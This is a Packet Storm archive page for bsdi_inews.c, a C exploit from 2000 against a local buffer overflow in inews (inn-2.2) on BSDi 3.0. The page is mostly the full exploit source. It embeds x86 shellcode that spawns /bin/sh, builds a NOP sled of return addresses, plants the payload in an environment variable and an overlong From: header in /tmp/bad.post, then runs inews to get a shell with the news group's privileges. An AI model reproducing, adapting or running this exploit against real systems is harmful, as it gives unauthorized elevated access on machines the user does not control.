what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

bsdi_inews.c

bsdi_inews.c
Posted Dec 3, 2000
Authored by vade79, realhalo | Site realhalo.org

BSDI 3.0 local Inews (inn-2.2) buffer overflow exploit. Gives egid=news shell.

tags | exploit, overflow, shell, local
SHA-256 | ea9a24a0938e3ecdaf81b1eb284380066bc47043343c111cae4471b9d5273e75

bsdi_inews.c

Change Mirror Download
/* (BSDi)inews[inn-2.2] buffer overflow, by v9[v9@fakehalo.org].  this exploit
yields egid/group=8(news) on BSDi/3.0 systems with innd.

note: this is simply a port of my inews_bof.c from awhile back, w/some mods.
*/
#include <stdio.h>
#define PATH "/usr/contrib/lib/news/inews" /* path to inews */
#define TMPFILE "/tmp/bad.post" /* no need to change this. */
#define SUBJECT "inews bug. (bsdi too)" /* the subject filler. */
#define NEWSGROUP "alt.innd.bug" /* the group filler. */
#define DEFAULT_OFFSET -5000 /* general offset. */

static char exec[]=
"\xeb\x1f\x5e\x31\xc0\x89\x46\xf5\x88\x46\xfa\x89\x46\x0c" /* 14 characters. */
"\x89\x76\x08\x50\x8d\x5e\x08\x53\x56\x56\xb0\x3b\x9a\xff" /* 14 characters. */
"\xff\xff\xff\x07\xff\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e" /* 14 characters. */
"\x2f\x73\x68\x00"; /* 4 characters; 46 characters total. */
long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
char bof[600],buf[4096];
int i,offset;
long ret;
FILE *inewsfile;
fprintf(stderr,"[ (BSDi)inews[inn-2.2]: buffer overflow, by: v9[v9@fakehalo.or"
"g]. ]\n");
if(argc>1){offset=atoi(argv[1]);}
else{offset=DEFAULT_OFFSET;}
ret=(esp()-offset);
for(i=0;i<600;i+=4){*(long *)&bof[i]=ret;}
for(i=0;i<(600-strlen(exec)-100);i++){*(bof+i)=0x90;}
memcpy(bof+i,exec,strlen(exec));
bof[600]=0x0;
for(i=0;i<(4096-strlen(exec)-strlen(bof));i++){*(buf+i)=0x90;}
memcpy(buf+i,exec,strlen(exec));
memcpy(buf,"EXEC=",5);putenv(buf);
unlink(TMPFILE);
inewsfile=fopen(TMPFILE,"w");
fprintf(inewsfile,"From: %s\n",bof);
fprintf(inewsfile,"Newsgroups: %s\n",NEWSGROUP);
fprintf(inewsfile,"Subject: %s\n\n",SUBJECT);
fclose(inewsfile);
printf("[ return address: 0x%lx, offset: %d. ]\n",ret,offset);
if(execlp(PATH,"inews","-h",TMPFILE,0)){
printf("%s: failed: invalid path.\n",argv[0],PATH);
exit(-1);
}
}
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    17 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close